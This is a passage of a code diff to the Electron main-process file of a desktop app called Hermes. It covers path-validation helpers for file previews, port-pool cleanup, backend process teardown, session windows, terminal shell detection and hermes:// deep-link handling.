const buffer = match[2] ? Buffer.from(encoded, 'base64') : Buffer.from(decodeURIComponent(encoded), 'utf8')
return { buffer, mimeType }
}
- if (rawUrl.startsWith('file:')) {
- const filePath = fileURLToPath(rawUrl)
- const buffer = await fs.promises.readFile(filePath)
- return { buffer, mimeType: mimeTypeForPath(filePath) }
+ if (/^file:/i.test(rawUrl)) {
+ const { resolvedPath } = await resolveReadableFileForIpc(rawUrl, { purpose: 'Image file' })
+ const buffer = await fs.promises.readFile(resolvedPath)
+ return { buffer, mimeType: mimeTypeForPath(resolvedPath) }
}
const parsed = new URL(rawUrl)
@@ -2860,11 +2975,13 @@ function expandUserPath(filePath) {
return value
}
-function previewFileTarget(rawTarget, baseDir) {
+async function previewFileTarget(rawTarget, baseDir) {
const raw = String(rawTarget || '').trim()
const base = baseDir ? path.resolve(expandUserPath(baseDir)) : resolveHermesCwd()
- const filePath = raw.startsWith('file:') ? fileURLToPath(raw) : path.resolve(base, expandUserPath(raw))
- let resolved = filePath
+ let resolved = resolveRequestedPathForIpc(/^file:/i.test(raw) ? raw : expandUserPath(raw), {
+ baseDir: base,
+ purpose: 'Preview target'
+ })
if (directoryExists(resolved)) {
resolved = path.join(resolved, 'index.html')
@@ -2875,6 +2992,8 @@ function previewFileTarget(rawTarget, baseDir) {
return null
}
+ ;({ resolvedPath: resolved } = await resolveReadableFileForIpc(resolved, { purpose: 'Preview target' }))
+
const mimeType = mimeTypeForPath(resolved)
const metadata = previewFileMetadata(resolved, mimeType)
const isHtml = PREVIEW_HTML_EXTENSIONS.has(ext)
@@ -2920,7 +3039,7 @@ function previewUrlTarget(rawTarget) {
}
}
-function normalizePreviewTarget(rawTarget, baseDir) {
+async function normalizePreviewTarget(rawTarget, baseDir) {
const raw = String(rawTarget || '').trim()
if (!raw) {
@@ -2932,20 +3051,15 @@ function normalizePreviewTarget(rawTarget, baseDir) {
return previewUrlTarget(raw)
}
- return previewFileTarget(raw, baseDir)
+ return await previewFileTarget(raw, baseDir)
} catch {
return null
}
}
-function filePathFromPreviewUrl(rawUrl) {
- const filePath = fileURLToPath(String(rawUrl || ''))
-
- if (!fileExists(filePath)) {
- throw new Error('Preview file is not readable')
- }
-
- return filePath
+async function filePathFromPreviewUrl(rawUrl) {
+ const { resolvedPath } = await resolveReadableFileForIpc(String(rawUrl || ''), { purpose: 'Preview file' })
+ return resolvedPath
}
function sendPreviewFileChanged(payload) {
@@ -2955,8 +3069,8 @@ function sendPreviewFileChanged(payload) {
webContents.send('hermes:preview-file-changed', payload)
}
-function watchPreviewFile(rawUrl) {
- const filePath = filePathFromPreviewUrl(rawUrl)
+async function watchPreviewFile(rawUrl) {
+ const filePath = await filePathFromPreviewUrl(rawUrl)
const watchDir = path.dirname(filePath)
const targetName = path.basename(filePath)
const id = crypto.randomBytes(12).toString('base64url')
@@ -3270,14 +3384,18 @@ function setAndPersistZoomLevel(window, zoomLevel) {
const next = clampZoomLevel(zoomLevel)
window.webContents.setZoomLevel(next)
window.webContents
- .executeJavaScript(`try { localStorage.setItem(${JSON.stringify(ZOOM_STORAGE_KEY)}, ${JSON.stringify(String(next))}) } catch {}`)
+ .executeJavaScript(
+ `try { localStorage.setItem(${JSON.stringify(ZOOM_STORAGE_KEY)}, ${JSON.stringify(String(next))}) } catch {}`
+ )
.catch(error => rememberLog(`[zoom] persist failed: ${error?.message || error}`))
}
function restorePersistedZoomLevel(window) {
if (!window || window.isDestroyed()) return
window.webContents
- .executeJavaScript(`(() => { try { return localStorage.getItem(${JSON.stringify(ZOOM_STORAGE_KEY)}) } catch { return null } })()`)
+ .executeJavaScript(
+ `(() => { try { return localStorage.getItem(${JSON.stringify(ZOOM_STORAGE_KEY)}) } catch { return null } })()`
+ )
.then(stored => {
if (stored == null || !window || window.isDestroyed()) return
const level = clampZoomLevel(Number(stored))
@@ -4136,9 +4254,7 @@ async function requestJsonForProfile(profile, path, method, body) {
const conn = await ensureBackend(profile)
const url = `${conn.baseUrl}${path}`
const opts = { method, body, timeoutMs: DEFAULT_FETCH_TIMEOUT_MS }
- return conn.authMode === 'oauth'
- ? fetchJsonViaOauthSession(url, opts)
- : fetchJson(url, conn.token, opts)
+ return conn.authMode === 'oauth' ? fetchJsonViaOauthSession(url, opts) : fetchJson(url, conn.token, opts)
}
async function probeRemoteAuthMode(rawUrl) {
@@ -4212,7 +4328,8 @@ async function testDesktopConnectionConfig(input = {}) {
// The block under test: a per-profile entry or the global remote. Coerce has
// already normalized the URL and resolved token inheritance for the scope.
const block = key ? config.profiles?.[key] || null : config.remote
- const wantRemote = block?.mode === 'remote' || (!key && config.mode === 'remote') || (input.mode === 'remote' && block)
+ const wantRemote =
+ block?.mode === 'remote' || (!key && config.mode === 'remote') || (input.mode === 'remote' && block)
// ``/api/status`` is public on every gateway (no creds needed), so a
// reachability test works for local, token, and oauth modes alike — we only
// need a base URL. For a remote config we normalize the URL from the input;
@@ -4295,20 +4412,31 @@ async function teardownPrimaryBackendAndWait() {
const dying = hermesProcess && !hermesProcess.killed ? hermesProcess : null
resetHermesConnection()
- if (!dying) {
+ await waitForBackendExit(dying)
+}
+
+async function waitForBackendExit(child, timeoutMs = 5000) {
+ if (!child) {
+ return
+ }
+ if (child.exitCode !== null || child.signalCode !== null) {
return
}
await new Promise(resolve => {
const timer = setTimeout(() => {
try {
- dying.kill('SIGKILL')
+ if (IS_WINDOWS && Number.isInteger(child.pid)) {
+ forceKillProcessTree(child.pid)
+ } else {
+ child.kill('SIGKILL')
+ }
} catch {
// Already gone.
}
resolve()
- }, 5000)
- dying.once('exit', () => {
+ }, timeoutMs)
+ child.once('exit', () => {
clearTimeout(timer)
resolve()
})
@@ -4424,18 +4552,33 @@ async function spawnPoolBackend(profile, entry) {
// --profile wins over the inherited HERMES_HOME env (see _apply_profile_override
// step 3 in hermes_cli/main.py), so the child re-homes to this profile.
const dashboardArgs = ['--profile', profile, 'dashboard', '--no-open', '--host', '127.0.0.1', '--port', String(port)]
- const backend = await ensureRuntime(resolveHermesBackend(dashboardArgs))
- const hermesCwd = resolveHermesCwd()
- const webDist = resolveWebDist()
+ let backend
+ let hermesCwd
+ let webDist
+ try {
+ backend = await ensureRuntime(resolveHermesBackend(dashboardArgs))
+ hermesCwd = resolveHermesCwd()
+ webDist = resolveWebDist()
+ } catch (error) {
+ // These run before the child exists / its exit handler is attached, so a
+ // throw here would otherwise leak the reservation and slowly exhaust the
+ // 9120-9199 range across switch cycles in one app session.
+ portPool.release(port)
+ throw error
+ }
rememberLog(`Starting Hermes backend for profile "${profile}" via ${backend.label}`)
- const child = spawn(backend.command, backend.args, {
+ const child = spawn(backend.command, backend.args, hiddenWindowsChildOptions({
cwd: hermesCwd,
env: {
...process.env,
HERMES_HOME,
...backend.env,
+ // Pin the gateway's tool/terminal cwd to the same directory we chose for
+ // the child process. Inherited TERMINAL_CWD (or a stale config bridge)
+ // can still point at the install dir even when spawn cwd is home.
+ TERMINAL_CWD: hermesCwd,
HERMES_DASHBOARD_SESSION_TOKEN: token,
// Marks this dashboard backend as desktop-spawned so it runs the cron
// scheduler tick loop (the gateway isn't running under the app).
@@ -4444,7 +4587,7 @@ async function spawnPoolBackend(profile, entry) {
},
shell: backend.shell,
stdio: ['ignore', 'pipe', 'pipe']
- })
+ }))
entry.process = child
entry.port = port
entry.token = token
@@ -4460,28 +4603,38 @@ async function spawnPoolBackend(profile, entry) {
child.once('error', error => {
rememberLog(`Hermes backend for profile "${profile}" failed to start: ${error.message}`)
backendPool.delete(profile)
+ portPool.release(port)
rejectStart?.(error)
})
child.once('exit', (code, signal) => {
rememberLog(`Hermes backend for profile "${profile}" exited (${signal || code})`)
backendPool.delete(profile)
+ portPool.release(port)
if (!ready) {
- rejectStart?.(new Error(`Hermes backend for profile "${profile}" exited before it became ready (${signal || code}).`))
+ rejectStart?.(
+ new Error(`Hermes backend for profile "${profile}" exited before it became ready (${signal || code}).`)
+ )
}
})
const baseUrl = `http://127.0.0.1:${port}`
await Promise.race([waitForHermes(baseUrl, token), startFailed])
ready = true
+ const authToken = await adoptServedDashboardToken(baseUrl, token, {
+ childAlive: () => child.exitCode === null && !child.killed,
+ label: `Hermes backend for profile "${profile}"`,
+ rememberLog
+ })
+ entry.token = authToken
return {
baseUrl,
mode: 'local',
source: 'local',
authMode: 'token',
- token,
+ token: authToken,
profile,
- wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(token)}`,
+ wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(authToken)}`,
logs: hermesLog.slice(-80),
...getWindowState()
}
@@ -4491,6 +4644,7 @@ function stopPoolBackend(profile) {
const entry = backendPool.get(profile)
if (!entry) return
backendPool.delete(profile)
+ if (entry.port) portPool.release(entry.port)
if (entry.process && !entry.process.killed) {
try {
entry.process.kill('SIGTERM')
@@ -4500,12 +4654,70 @@ function stopPoolBackend(profile) {
}
}
+async function teardownPoolBackendAndWait(profile) {
+ const entry = backendPool.get(profile)
+ if (!entry) return
+ backendPool.delete(profile)
+
+ if (entry.process && !entry.process.killed) {
+ try {
+ entry.process.kill('SIGTERM')
+ } catch {
+ // Already gone.
+ }
+ }
+
+ await waitForBackendExit(entry.process)
+}
+
function stopAllPoolBackends() {
for (const profile of [...backendPool.keys()]) {
stopPoolBackend(profile)
}
}
+function profileNameFromDeleteRequest(request) {
+ if (!request || String(request.method || 'GET').toUpperCase() !== 'DELETE') {
+ return null
+ }
+
+ const match = String(request.path || '').match(/^\/api\/profiles\/([^/?#]+)(?:[?#].*)?$/)
+ if (!match) {
+ return null
+ }
+
+ let raw = ''
+ try {
+ raw = decodeURIComponent(match[1])
+ } catch {
+ return null
+ }
+
+ const name = raw.trim()
+ if (!name) {
+ return null
+ }
+ if (name.toLowerCase() === 'default') {
+ return 'default'
+ }
+ return name.toLowerCase()
+}
+
+async function prepareProfileDeleteRequest(request) {
+ const profile = profileNameFromDeleteRequest(request)
+ if (!profile || profile === 'default' || !PROFILE_NAME_RE.test(profile)) {
+ return
+ }
+
+ if (profile === primaryProfileKey()) {
+ writeActiveDesktopProfile('default')
+ await teardownPrimaryBackendAndWait()
+ return
+ }
+
+ await teardownPoolBackendAndWait(profile)
+}
+
async function startHermes() {
// Latched-failure short-circuit: once bootstrap has failed in this
// process, every subsequent startHermes() call re-throws the same error
@@ -4518,6 +4730,11 @@ async function startHermes() {
}
if (connectionPromise) return connectionPromise
+ // Hoisted so the outer .catch can release a port reserved by pickPort() when
+ // a throw (e.g. ensureRuntime failing) happens before the child's exit
+ // handler is attached. Stays null on the remote path (no port picked).
+ let reservedPort = null
+
connectionPromise = (async () => {
await advanceBootProgress('backend.resolve', 'Resolving Hermes backend', 8)
// Resolve for the desktop's primary profile so a per-profile remote
@@ -4547,6 +4764,7 @@ async function startHermes() {
await advanceBootProgress('backend.port', 'Finding an open local port', 16)
const port = await pickPort()
+ reservedPort = port
const token = crypto.randomBytes(32).toString('base64url')
const dashboardArgs = ['dashboard', '--no-open', '--host', '127.0.0.1', '--port', String(port)]
// Pin the desktop's chosen profile via the global --profile flag. This is
@@ -4566,7 +4784,7 @@ async function startHermes() {
await advanceBootProgress('backend.spawn', `Starting Hermes backend via ${backend.label}`, 84)
rememberLog(`Starting Hermes backend via ${backend.label}`)
- hermesProcess = spawn(backend.command, backend.args, {
+ hermesProcess = spawn(backend.command, backend.args, hiddenWindowsChildOptions({
cwd: hermesCwd,
env: {
...process.env,
@@ -4580,6 +4798,7 @@ async function startHermes() {
// can't reliably do that, so we set it inline for every spawn.
HERMES_HOME,
...backend.env,
+ TERMINAL_CWD: hermesCwd,
HERMES_DASHBOARD_SESSION_TOKEN: token,
// Marks this dashboard backend as desktop-spawned so it runs the cron
// scheduler tick loop (the gateway isn't running under the app).
@@ -4588,7 +4807,7 @@ async function startHermes() {
},
shell: backend.shell,
stdio: ['ignore', 'pipe', 'pipe']
- })
+ }))
hermesProcess.stdout.on('data', rememberLog)
hermesProcess.stderr.on('data', rememberLog)
@@ -4610,6 +4829,7 @@ async function startHermes() {
)
hermesProcess = null
connectionPromise = null
+ portPool.release(port)
sendBackendExit({ code: null, signal: null, error: error.message })
rejectBackendStart?.(error)
})
@@ -4617,6 +4837,7 @@ async function startHermes() {
rememberLog(`Hermes backend exited (${signal || code})`)
hermesProcess = null
connectionPromise = null
+ portPool.release(port)
sendBackendExit({ code, signal })
if (!backendReady) {
const message = `Hermes backend exited before it became ready (${signal || code}).`
@@ -4641,6 +4862,11 @@ async function startHermes() {
await advanceBootProgress('backend.wait', 'Waiting for Hermes backend to become ready', 90)
await Promise.race([waitForHermes(baseUrl, token), backendStartFailed])
backendReady = true
+ const authToken = await adoptServedDashboardToken(baseUrl, token, {
+ // The exit/error handlers null hermesProcess when the child dies.
+ childAlive: () => hermesProcess !== null && hermesProcess.exitCode === null && !hermesProcess.killed,
+ rememberLog
+ })
updateBootProgress({
phase: 'backend.ready',
message: 'Hermes backend is ready. Finalizing desktop startup',
@@ -4654,8 +4880,8 @@ async function startHermes() {
mode: 'local',
source: 'local',
authMode: 'token',
- token,
- wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(token)}`,
+ token: authToken,
+ wsUrl: `ws://127.0.0.1:${port}/api/ws?token=${encodeURIComponent(authToken)}`,
logs: hermesLog.slice(-80),
...getWindowState()
}
@@ -4671,12 +4897,101 @@ async function startHermes() {
{ allowDecrease: true }
)
connectionPromise = null
+ portPool.release(reservedPort)
throw error
})
return connectionPromise
}
+// Shared navigation guards + window chrome wiring applied to every window
+// (the primary plus any secondary session windows). Factored out of
+// createWindow() so secondary windows can't drift from the main window's
+// security posture: external links open in the OS browser, in-app navigation
+// stays confined to the dev server / packaged file URL, and the preview /
+// devtools / zoom / context-menu affordances behave identically everywhere.
+function wireCommonWindowHandlers(win) {
+ installPreviewShortcut(win)
+ installDevToolsShortcut(win)
+ installZoomShortcuts(win)
+ installContextMenu(win)
+ win.webContents.setWindowOpenHandler(details => {
+ openExternalUrl(details.url)
+
+ return { action: 'deny' }
+ })
+ win.webContents.on('will-navigate', (event, url) => {
+ if ((DEV_SERVER && url.startsWith(DEV_SERVER)) || (!DEV_SERVER && url.startsWith('file:'))) {
+ return
+ }
+
+ event.preventDefault()
+ openExternalUrl(url)
+ })
+}
+
+// Secondary "session windows" — one extra OS window per chat so a user can
+// work with multiple chats side by side. The registry guarantees one window
+// per sessionId (re-opening focuses the existing window) and self-cleans on
+// close. The primary mainWindow is never tracked here. Pure logic + the URL
+// builder live in session-windows.cjs so they stay unit-testable.
+const sessionWindows = createSessionWindowRegistry()
+
+function focusWindow(win) {
+ if (!win || win.isDestroyed()) return
+ if (win.isMinimized()) win.restore()
+ if (!win.isVisible()) win.show()
+ win.focus()
+}
+
+// Open (or focus) a standalone window for a single chat session.
+function createSessionWindow(sessionId) {
+ return sessionWindows.openOrFocus(sessionId, () => {
+ const icon = getAppIconPath()
+ const win = new BrowserWindow({
+ width: 480,
+ height: 800,
+ minWidth: 420,
+ minHeight: 620,
+ title: 'Hermes',
+ titleBarStyle: 'hidden',
+ titleBarOverlay: getTitleBarOverlayOptions(),
+ trafficLightPosition: IS_MAC ? WINDOW_BUTTON_POSITION : undefined,
+ vibrancy: IS_MAC ? 'sidebar' : undefined,
+ icon,
+ backgroundColor: '#f7f7f7',
+ webPreferences: {
+ preload: path.join(__dirname, 'preload.cjs'),
+ contextIsolation: true,
+ webviewTag: true,
+ sandbox: true,
+ nodeIntegration: false,
+ devTools: true
+ }
+ })
+
+ if (IS_MAC) {
+ win.setWindowButtonPosition?.(WINDOW_BUTTON_POSITION)
+ }
+
+ win.on('will-enter-full-screen', () => sendWindowStateChanged(true))
+ win.on('enter-full-screen', () => sendWindowStateChanged(true))
+ win.on('will-leave-full-screen', () => sendWindowStateChanged(false))
+ win.on('leave-full-screen', () => sendWindowStateChanged(false))
+
+ wireCommonWindowHandlers(win)
+
+ win.loadURL(
+ buildSessionWindowUrl(sessionId, {
+ devServer: DEV_SERVER,
+ rendererIndexPath: DEV_SERVER ? undefined : resolveRendererIndex()
+ })
+ )
+
+ return win
+ })
+}
+
function createWindow() {
const icon = getAppIconPath()
mainWindow = new BrowserWindow({
@@ -4737,23 +5052,7 @@ function createWindow() {
mainWindow.on('will-leave-full-screen', () => sendWindowStateChanged(false))
mainWindow.on('leave-full-screen', () => sendWindowStateChanged(false))
- installPreviewShortcut(mainWindow)
- installDevToolsShortcut(mainWindow)
- installZoomShortcuts(mainWindow)
- installContextMenu(mainWindow)
- mainWindow.webContents.setWindowOpenHandler(details => {
- openExternalUrl(details.url)
-
- return { action: 'deny' }
- })
- mainWindow.webContents.on('will-navigate', (event, url) => {
- if ((DEV_SERVER && url.startsWith(DEV_SERVER)) || (!DEV_SERVER && url.startsWith('file:'))) {
- return
- }
-
- event.preventDefault()
- openExternalUrl(url)
- })
+ wireCommonWindowHandlers(mainWindow)
mainWindow.webContents.on('render-process-gone', (_event, details) => {
rememberLog(`[renderer] render-process-gone reason=${details?.reason} exitCode=${details?.exitCode}`)
@@ -4859,13 +5158,22 @@ ipcMain.handle('hermes:backend:touch', async (_event, profile) => {
return { ok: true }
})
ipcMain.handle('hermes:gateway:ws-url', async (_event, profile) => freshGatewayWsUrl(profile))
+ipcMain.handle('hermes:window:openSession', async (_event, sessionId) => {
+ if (typeof sessionId !== 'string' || !sessionId.trim()) {
+ return { ok: false, error: 'invalid-session-id' }
+ }
+
+ createSessionWindow(sessionId.trim())
+
+ return { ok: true }
+})
ipcMain.handle('hermes:bootstrap:reset', async () => {
// Renderer's "Reload and retry" path. Clear the latched failure and
// reset connection state so the next startHermes() call restarts the
// full backend flow (including a fresh runBootstrap pass).
rememberLog('[bootstrap] reset requested by renderer; clearing latched failure')
+ await teardownPrimaryBackendAndWait()
bootstrapFailure = null
- connectionPromise = null
bootstrapState = {
active: false,
manifest: null,
@@ -5097,17 +5405,19 @@ async function mergeRemoteProfileSessions(searchParams, remoteProfiles) {
let total = (Number(base.total) || 0) - remoteProfiles.reduce((n, p) => n + (profileTotals[p] || 0), 0)
// Swap each remote profile's stale local rows/total for the remote's real ones.
- await Promise.all(remoteProfiles.map(async name => {
- const list = await remoteSessionList(name, remoteParams).catch(() => null)
- if (!list) {
- delete profileTotals[name] // dead remote → drop its stale local total too
- return
- }
- const rows = rowsOf(list)
- merged.push(...rows)
- profileTotals[name] = Number(list.total) || rows.length
- total += profileTotals[name]
- }))
+ await Promise.all(
+ remoteProfiles.map(async name => {
+ const list = await remoteSessionList(name, remoteParams).catch(() => null)
+ if (!list) {
+ delete profileTotals[name] // dead remote → drop its stale local total too
+ return
+ }
+ const rows = rowsOf(list)
+ merged.push(...rows)
+ profileTotals[name] = Number(list.total) || rows.length
+ total += profileTotals[name]
+ })
+ )
const recency = s => s?.[order] ?? s?.started_at ?? 0
merged.sort((a, b) => recency(b) - recency(a))
@@ -5124,6 +5434,8 @@ ipcMain.handle('hermes:api', async (_event, request) => {
return rerouted
}
+ await prepareProfileDeleteRequest(request)
+
const connection = await ensureBackend(request?.profile)
const timeoutMs = resolveTimeoutMs(request?.timeoutMs, DEFAULT_FETCH_TIMEOUT_MS)
const url = `${connection.baseUrl}${request.path}`
@@ -5271,9 +5583,12 @@ ipcMain.handle('hermes:openExternal', (_event, url) => {
// session spawn (no app restart needed).
ipcMain.handle('hermes:setting:defaultProjectDir:get', async () => ({
dir: readDefaultProjectDir(),
- defaultLabel: path.join(app.getPath('home'), 'hermes-projects')
+ defaultLabel: app.getPath('home'),
+ resolvedCwd: resolveHermesCwd()
}))
+ipcMain.handle('hermes:workspace:sanitize', async (_event, cwd) => sanitizeWorkspaceCwd(cwd))
+
ipcMain.handle('hermes:setting:defaultProjectDir:set', async (_event, dir) => {
const next = typeof dir === 'string' && dir.trim() ? dir.trim() : null
@@ -5321,62 +5636,119 @@ ipcMain.handle('hermes:logs:reveal', async () => {
ipcMain.handle('hermes:logs:recent', async () => ({ path: DESKTOP_LOG_PATH, lines: hermesLog.slice(-200) }))
-// Always-hidden noise (covers non-git projects too — gitignore would catch
-// these anyway when present, but we want the same hygiene without one).
-const FS_READDIR_HIDDEN = new Set([
- '.git',
- '.hg',
- '.svn',
- '.cache',
- '.next',
- '.turbo',
- '.venv',
- '__pycache__',
- 'build',
- 'dist',
- 'node_modules',
- 'target',
- 'venv'
-])
+function isExecutableFile(filePath) {
+ if (!filePath || !path.isAbsolute(filePath)) {
+ return false
+ }
-function findGitRoot(start) {
- let dir = start
+ try {
+ fs.accessSync(filePath, fs.constants.X_OK)
+ return true
+ } catch {
+ return false
+ }
+}
+
+function posixShellSpec(shellPath) {
+ const shellName = path.basename(shellPath)
+ const interactiveArgs = shellName.includes('zsh') || shellName.includes('bash') ? ['-il'] : ['-i']
+
+ return { args: interactiveArgs, command: shellPath, name: shellName }
+}
+
+let spawnHelperChecked = false
+
+// node-pty execs a `spawn-helper` binary on macOS/Linux to launch the shell in a
+// fresh session. The prebuilt that ships in node-pty's `prebuilds/` (and the
+// staged copy under resources/native-deps) loses its execute bit through npm
+// pack / electron-builder file collection, so every nodePty.spawn() dies with
+// "posix_spawnp failed". Restore +x once, lazily, before the first spawn.
+function ensureSpawnHelperExecutable() {
+ if (spawnHelperChecked || IS_WINDOWS || !nodePtyDir) {
+ return
+ }
- for (let i = 0; i < 50; i += 1) {
+ spawnHelperChecked = true
+
+ const arch = process.arch
+ const candidates = [
+ path.join(nodePtyDir, 'build', 'Release', 'spawn-helper'),
+ path.join(nodePtyDir, 'prebuilds', `${process.platform}-${arch}`, 'spawn-helper')
+ ]
+
+ for (const helper of candidates) {
try {
- if (fs.existsSync(path.join(dir, '.git'))) {
- return dir
+ const mode = fs.statSync(helper).mode
+
+ if ((mode & 0o111) !== 0o111) {
+ fs.chmodSync(helper, mode | 0o755)
}
} catch {
- return null
+ // Not present in this layout (e.g. compiled build vs prebuild); skip.
}
+ }
+}
- const parent = path.dirname(dir)
+// Windows PowerShell 5.1 ships at a fixed System32 path on every Windows box;
+// prefer it only after PowerShell 7+ (`pwsh`).
+function windowsPowerShellPath() {
+ const systemRoot = process.env.SystemRoot || process.env.windir || 'C:\\Windows'
+ const builtin = path.join(systemRoot, 'System32', 'WindowsPowerShell', 'v1.0', 'powershell.exe')
- if (parent === dir) {
- return null
- }
+ return isExecutableFile(builtin) ? builtin : findOnPath('powershell.exe')
+}
+
+// Map a resolved shell path to its spawn spec, picking interactive flags by
+// family: PowerShell drops its logo banner (so the prompt sits flush like the
+// POSIX shells), cmd needs nothing, and everything else (zsh/bash/fish/sh…)
+// gets POSIX interactive-login flags.
+function shellSpecFor(shellPath) {
+ const name = path.basename(shellPath).toLowerCase()
- dir = parent
+ if (name.startsWith('pwsh') || name.startsWith('powershell')) {
+ return { args: ['-NoLogo'], command: shellPath, name }
}
- return null
+ if (name.startsWith('cmd')) {
+ return { args: [], command: shellPath, name }
+ }
+
+ return posixShellSpec(shellPath)
+}
+
+// Best installed Windows shell: PowerShell 7+ (`pwsh`), then Windows PowerShell
+// 5.1, then comspec/cmd.exe as the universal fallback.
+function windowsShellSpec() {
+ const command =
+ findOnPath('pwsh.exe') || findOnPath('pwsh') || windowsPowerShellPath() || process.env.COMSPEC || 'cmd.exe'
+
+ return shellSpecFor(command)
}
+// Resolve the interactive shell for the embedded terminal: an explicit user
+// override wins, otherwise auto-detect the best one installed for the platform.
function terminalShellCommand() {
+ // HERMES_DESKTOP_SHELL is the cross-platform escape hatch (a path or a bare
+ // name on PATH); $SHELL is honored on POSIX, where it's the user's canonical
+ // choice, but ignored on Windows, where it's usually a stray MSYS/Git path
+ // node-pty can't spawn natively.
+ const override = (process.env.HERMES_DESKTOP_SHELL || (IS_WINDOWS ? '' : process.env.SHELL) || '').trim()
+
+ if (override) {
+ const resolved = isExecutableFile(override) ? override : findOnPath(override)
+
+ if (resolved) {
+ return shellSpecFor(resolved)
+ }
+ }
+
if (IS_WINDOWS) {
- return { args: [], command: process.env.COMSPEC || 'cmd.exe' }
+ return windowsShellSpec()
}
- const configuredShell = process.env.SHELL || ''
- const shellPath =
- (path.isAbsolute(configuredShell) && fs.existsSync(configuredShell) && configuredShell) ||
- ['/bin/zsh', '/bin/bash', '/bin/sh'].find(candidate => fs.existsSync(candidate)) ||
- '/bin/sh'
- const shellName = path.basename(shellPath)
- const interactiveArgs = shellName.includes('zsh') || shellName.includes('bash') ? ['-il'] : ['-i']
+ const shellPath = ['/bin/zsh', '/bin/bash', '/bin/sh'].find(candidate => isExecutableFile(candidate))
- return { args: interactiveArgs, command: shellPath, name: shellName }
+ return posixShellSpec(shellPath || '/bin/sh')
}
function safeTerminalCwd(cwd) {
@@ -5416,6 +5788,11 @@ function terminalShellEnv() {
env.TERM_PROGRAM = 'Hermes'
env.TERM_PROGRAM_VERSION = app.getVersion()
+ // Let a hermes/--tui launched in this pane know it's embedded in the desktop
+ // GUI (build_environment_hints surfaces this). Distinct from HERMES_DESKTOP,
+ // which marks the agent *backend* and gates cron/gateway behavior.
+ env.HERMES_DESKTOP_TERMINAL = '1'
+
return env
}
@@ -5441,52 +5818,17 @@ function disposeTerminalSession(id) {
return true
}
-ipcMain.handle('hermes:fs:readDir', async (_event, dirPath) => {
- const resolved = path.resolve(String(dirPath || ''))
-
- if (!resolved) {
- return { entries: [], error: 'invalid-path' }
- }
-
- try {
- const dirents = await fs.promises.readdir(resolved, { withFileTypes: true })
-
- const entries = dirents
- .filter(d => {
- if (FS_READDIR_HIDDEN.has(d.name)) {
- return false
- }
+ipcMain.handle('hermes:fs:readDir', async (_event, dirPath) => readDirForIpc(dirPath))
- return true
- })
- .map(d => ({ name: d.name, path: path.join(resolved, d.name), isDirectory: d.isDirectory() }))
- .sort((a, b) => Number(b.isDirectory) - Number(a.isDirectory) || a.name.localeCompare(b.name))
-
- return { entries }
- } catch (error) {
- return { entries: [], error: error?.code || 'read-error' }
- }
-})
-
-ipcMain.handle('hermes:fs:gitRoot', async (_event, startPath) => {
- const input = String(startPath || '')
- const resolved = input.startsWith('file:') ? fileURLToPath(input) : path.resolve(input)
-
- try {
- const stat = await fs.promises.stat(resolved)
- const start = stat.isDirectory() ? resolved : path.dirname(resolved)
-
- return findGitRoot(start)
- } catch {
- return findGitRoot(resolved)
- }
-})
+ipcMain.handle('hermes:fs:gitRoot', async (_event, startPath) => gitRootForIpc(startPath))
ipcMain.handle('hermes:terminal:start', async (event, payload = {}) => {
if (!nodePty) {
throw new Error('PTY support is unavailable. Reinstall desktop dependencies and restart Hermes.')
}
+ ensureSpawnHelperExecutable()
+
const id = crypto.randomUUID()
const { args, command, name } = terminalShellCommand()
const cwd = safeTerminalCwd(payload?.cwd)
@@ -5666,11 +6008,11 @@ async function getUninstallSummary() {
resolve(value)
}
try {
- const child = spawn(py, ['-m', 'hermes_cli.main', 'uninstall', '--gui-summary'], {
+ const child = spawn(py, ['-m', 'hermes_cli.main', 'uninstall', '--gui-summary'], hiddenWindowsChildOptions({
cwd: agentRoot,
env: { ...process.env, HERMES_HOME, NO_COLOR: '1' },
stdio: ['ignore', 'pipe', 'ignore']
- })
+ }))
child.stdout.on('data', chunk => {
stdout += chunk.toString()
})
@@ -5809,6 +6151,117 @@ ipcMain.handle('hermes:uninstall:run', async (_event, payload) => {
return runDesktopUninstall(String(mode || ''))
})
+// Download a VS Code Marketplace extension and return the raw color-theme JSON
+// it contributes. No theme code is executed — we only read JSON from the .vsix.
+ipcMain.handle('hermes:vscode-theme:fetch', async (_event, id) => fetchMarketplaceThemes(String(id || '')))
+
+// Search the Marketplace for color-theme extensions (empty query = top installs).
+ipcMain.handle('hermes:vscode-theme:search', async (_event, query) => searchMarketplaceThemes(String(query || ''), 20))
+
+// ---------------------------------------------------------------------------
+// hermes:// deep links (e.g. hermes://blueprint/morning-brief?time=08:00).
+// A docs/dashboard "Send to App" button opens this URL; we route it into the
+// running app's chat composer. Three delivery paths: macOS 'open-url',
+// Win/Linux running-app 'second-instance' (argv), Win/Linux cold-start argv.
+// ---------------------------------------------------------------------------
+const HERMES_PROTOCOL = 'hermes'
+let _pendingDeepLink = null
+let _rendererReadyForDeepLink = false
+
+function _extractDeepLink(argv) {
+ if (!Array.isArray(argv)) return null
+ return argv.find((a) => typeof a === 'string' && a.startsWith(`${HERMES_PROTOCOL}://`)) || null
+}
+
+function handleDeepLink(url) {
+ if (!url || typeof url !== 'string') return
+ let parsed
+ try {
+ parsed = new URL(url)
+ } catch {
+ rememberLog(`[deeplink] ignoring malformed url: ${url}`)
+ return
+ }
+ // hermes://blueprint/?slot=val -> host="blueprint", path="/"
+ const kind = parsed.hostname || ''
+ const name = decodeURIComponent((parsed.pathname || '').replace(/^\//, ''))
+ const params = {}
+ parsed.searchParams.forEach((v, k) => {
+ params[k] = v
+ })
+ const payload = { kind, name, params }
+
+ if (!_rendererReadyForDeepLink || !mainWindow || mainWindow.isDestroyed()) {
+ _pendingDeepLink = payload
+ return
+ }
+ try {
+ if (mainWindow.isMinimized()) mainWindow.restore()
+ mainWindow.focus()
+ mainWindow.webContents.send('hermes:deep-link', payload)
+ rememberLog(`[deeplink] delivered ${kind}/${name}`)
+ } catch (err) {
+ rememberLog(`[deeplink] delivery failed: ${err.message}`)
+ }
+}
+
+// Renderer calls this (via IPC) once it has mounted its deep-link listener, so
+// a link that arrived during boot/install is flushed exactly once.
+ipcMain.handle('hermes:deep-link-ready', () => {
+ _rendererReadyForDeepLink = true
+ if (_pendingDeepLink) {
+ const queued = _pendingDeepLink
+ _pendingDeepLink = null
+ handleDeepLink(
+ `${HERMES_PROTOCOL}://${queued.kind}/${encodeURIComponent(queued.name)}` +
+ (Object.keys(queued.params).length
+ ? '?' + new URLSearchParams(queued.params).toString()
